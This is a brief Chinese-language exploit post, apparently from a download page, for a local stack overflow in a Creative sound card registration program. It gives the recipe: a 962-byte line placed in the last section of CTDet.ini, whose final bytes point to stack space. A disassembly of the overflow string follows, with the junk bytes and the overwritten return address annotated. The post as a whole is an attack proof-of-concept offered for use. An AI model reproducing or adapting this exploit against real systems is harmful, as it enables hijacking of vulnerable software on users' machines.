创新声卡注册程序本地栈溢出下载

CTDet.ini中最后一节第一行放置962字节的字符，其中最后三个字指向栈上空间即可

000001BF: 3D 48454C4C CMP EAX,4C4C4548

000001C4: 4F DEC EDI

000001C5: 54 PUSH ESP

000001C6: 48 DEC EAX

000001C7: 45 INC EBP

000001C8: 52 PUSH EDX

000001C9: 45 INC EBP

000001CA: 3D 3D464646 CMP EAX,4646463D

000001CF: 47 INC EDI

000001D0: 47 INC EDI

000001D1: 47 INC EDI

000001D2: 41 INC ECX

000001D3: 07 POP ES ;—JUNK

000001D4: 08 ???

000001D5: AA STOS BYTE PTR ES:[EDI]

000001D6: 1800 SBB [EAX],AL ;RET ADDR